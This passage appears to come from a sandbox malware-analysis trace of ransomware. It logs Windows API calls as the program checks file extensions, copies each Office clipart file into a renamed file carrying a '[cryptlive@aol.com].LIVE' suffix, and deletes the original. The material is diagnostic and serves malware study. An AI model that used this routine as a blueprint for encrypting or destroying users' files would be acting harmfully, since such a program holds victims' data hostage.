lstrlenW (lpString=".xls") returned 4 [0147.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.874] lstrlenW (lpString=".xlsx") returned 5 [0147.874] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0147.874] lstrlenW (lpString=".ppt") returned 4 [0147.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0147.874] lstrlenW (lpString=".zip") returned 4 [0147.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.874] lstrlenW (lpString=".rar") returned 4 [0147.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.874] lstrlenW (lpString=".bz2") returned 4 [0147.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.874] lstrlenW (lpString=".7z") returned 3 [0147.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0147.874] lstrlenW (lpString=".dbf") returned 4 [0147.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0147.874] lstrlenW (lpString=".1cd") returned 4 [0147.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0147.875] lstrlenW (lpString=".jpg") returned 4 [0147.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.875] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.875] lstrlenW (lpString="J0089992.WMF") returned 12 [0147.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.875] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=15680) returned 1 [0147.875] CloseHandle (hObject=0x394) returned 1 [0147.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 0x20 [0147.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.876] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.876] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0147.877] GetLastError () returned 0x0 [0147.877] ReadFile (in: hFile=0x394, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x3d40, lpOverlapped=0x0) returned 1 [0147.942] WriteFile (in: hFile=0x3d4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3d50, lpOverlapped=0x0) returned 1 [0147.943] ReadFile (in: hFile=0x394, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.944] WriteFile (in: hFile=0x3d4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.944] SetEndOfFile (hFile=0x3d4) returned 1 [0147.944] CloseHandle (hObject=0x3d4) returned 1 [0147.944] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.944] SetEndOfFile (hFile=0x394) returned 1 [0147.947] CloseHandle (hObject=0x394) returned 1 [0147.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0147.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0147.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0147.949] lstrlenW (lpString=".doc") returned 4 [0147.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString=".docx") returned 5 [0147.949] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0147.949] lstrlenW (lpString=".pdf") returned 4 [0147.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString=".xls") returned 4 [0147.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.949] lstrlenW (lpString=".xlsx") returned 5 [0147.949] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0147.949] lstrlenW (lpString=".ppt") returned 4 [0147.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0147.949] lstrlenW (lpString=".zip") returned 4 [0147.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.949] lstrlenW (lpString=".rar") returned 4 [0147.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString=".bz2") returned 4 [0147.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString=".7z") returned 3 [0147.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0147.949] lstrlenW (lpString=".dbf") returned 4 [0147.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0147.949] lstrlenW (lpString=".1cd") returned 4 [0147.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0147.949] lstrlenW (lpString=".jpg") returned 4 [0147.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0147.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0147.950] lstrlenW (lpString=".doc") returned 4 [0147.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.950] lstrlenW (lpString=".docx") returned 5 [0147.950] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0147.950] lstrlenW (lpString=".pdf") returned 4 [0147.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.950] lstrlenW (lpString=".xls") returned 4 [0147.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.950] lstrlenW (lpString=".xlsx") returned 5 [0147.950] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0147.950] lstrlenW (lpString=".ppt") returned 4 [0147.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0147.950] lstrlenW (lpString=".zip") returned 4 [0147.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.950] lstrlenW (lpString=".rar") returned 4 [0147.950] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.950] lstrlenW (lpString=".bz2") returned 4 [0147.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.950] lstrlenW (lpString=".7z") returned 3 [0147.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0147.950] lstrlenW (lpString=".dbf") returned 4 [0147.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0147.950] lstrlenW (lpString=".1cd") returned 4 [0147.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0147.950] lstrlenW (lpString=".jpg") returned 4 [0147.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.950] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.951] lstrlenW (lpString="J0090777.WMF") returned 12 [0147.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0148.030] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3332) returned 1 [0148.030] CloseHandle (hObject=0x1f8) returned 1 [0148.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf")) returned 0x20 [0148.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0148.043] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.043] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0148.044] GetLastError () returned 0x0 [0148.044] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xd04, lpOverlapped=0x0) returned 1 [0148.114] WriteFile (in: hFile=0x3b8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xd10, lpOverlapped=0x0) returned 1 [0148.115] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.115] WriteFile (in: hFile=0x3b8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.116] SetEndOfFile (hFile=0x3b8) returned 1 [0148.116] CloseHandle (hObject=0x3b8) returned 1 [0148.116] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.116] SetEndOfFile (hFile=0x1f8) returned 1 [0148.118] CloseHandle (hObject=0x1f8) returned 1 [0148.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0148.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0148.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0148.120] lstrlenW (lpString=".doc") returned 4 [0148.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.120] lstrlenW (lpString=".docx") returned 5 [0148.120] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0148.120] lstrlenW (lpString=".pdf") returned 4 [0148.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.120] lstrlenW (lpString=".xls") returned 4 [0148.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.120] lstrlenW (lpString=".xlsx") returned 5 [0148.121] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0148.121] lstrlenW (lpString=".ppt") returned 4 [0148.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0148.121] lstrlenW (lpString=".zip") returned 4 [0148.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.121] lstrlenW (lpString=".rar") returned 4 [0148.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.121] lstrlenW (lpString=".bz2") returned 4 [0148.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.121] lstrlenW (lpString=".7z") returned 3 [0148.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0148.121] lstrlenW (lpString=".dbf") returned 4 [0148.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0148.121] lstrlenW (lpString=".1cd") returned 4 [0148.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0148.121] lstrlenW (lpString=".jpg") returned 4 [0148.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0148.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0148.121] lstrlenW (lpString=".doc") returned 4 [0148.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.121] lstrlenW (lpString=".docx") returned 5 [0148.121] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0148.121] lstrlenW (lpString=".pdf") returned 4 [0148.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.121] lstrlenW (lpString=".xls") returned 4 [0148.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.121] lstrlenW (lpString=".xlsx") returned 5 [0148.121] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0148.121] lstrlenW (lpString=".ppt") returned 4 [0148.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0148.122] lstrlenW (lpString=".zip") returned 4 [0148.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.122] lstrlenW (lpString=".rar") returned 4 [0148.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.122] lstrlenW (lpString=".bz2") returned 4 [0148.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.122] lstrlenW (lpString=".7z") returned 3 [0148.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0148.122] lstrlenW (lpString=".dbf") returned 4 [0148.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0148.122] lstrlenW (lpString=".1cd") returned 4 [0148.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0148.122] lstrlenW (lpString=".jpg") returned 4 [0148.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.122] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0148.122] lstrlenW (lpString="J0090783.WMF") returned 12 [0148.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0148.123] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=6934) returned 1 [0148.123] CloseHandle (hObject=0x1f8) returned 1 [0148.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 0x20 [0148.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0148.123] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.123] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0148.124] GetLastError () returned 0x0 [0148.124] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1b16, lpOverlapped=0x0) returned 1 [0148.208] WriteFile (in: hFile=0x3b8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0148.209] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.209] WriteFile (in: hFile=0x3b8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.209] SetEndOfFile (hFile=0x3b8) returned 1 [0148.209] CloseHandle (hObject=0x3b8) returned 1 [0148.209] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.209] SetEndOfFile (hFile=0x1f8) returned 1 [0148.212] CloseHandle (hObject=0x1f8) returned 1 [0148.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0148.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0148.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0148.364] lstrlenW (lpString=".doc") returned 4 [0148.364] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.364] lstrlenW (lpString=".docx") returned 5 [0148.365] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0148.365] lstrlenW (lpString=".pdf") returned 4 [0148.365] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.365] lstrlenW (lpString=".xls") returned 4 [0148.365] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.365] lstrlenW (lpString=".xlsx") returned 5 [0148.365] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0148.365] lstrlenW (lpString=".ppt") returned 4 [0148.365] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0148.365] lstrlenW (lpString=".zip") returned 4 [0148.365] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.365] lstrlenW (lpString=".rar") returned 4 [0148.365] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.365] lstrlenW (lpString=".bz2") returned 4 [0148.365] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.365] lstrlenW (lpString=".7z") returned 3 [0148.365] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0148.365] lstrlenW (lpString=".dbf") returned 4 [0148.365] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0148.365] lstrlenW (lpString=".1cd") returned 4 [0148.365] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0148.365] lstrlenW (lpString=".jpg") returned 4 [0148.365] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0148.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0148.365] lstrlenW (lpString=".doc") returned 4 [0148.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.365] lstrlenW (lpString=".docx") returned 5 [0148.365] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0148.365] lstrlenW (lpString=".pdf") returned 4 [0148.365] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.365] lstrlenW (lpString=".xls") returned 4 [0148.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.366] lstrlenW (lpString=".xlsx") returned 5 [0148.366] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0148.366] lstrlenW (lpString=".ppt") returned 4 [0148.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0148.366] lstrlenW (lpString=".zip") returned 4 [0148.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.366] lstrlenW (lpString=".rar") returned 4 [0148.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.366] lstrlenW (lpString=".bz2") returned 4 [0148.366] 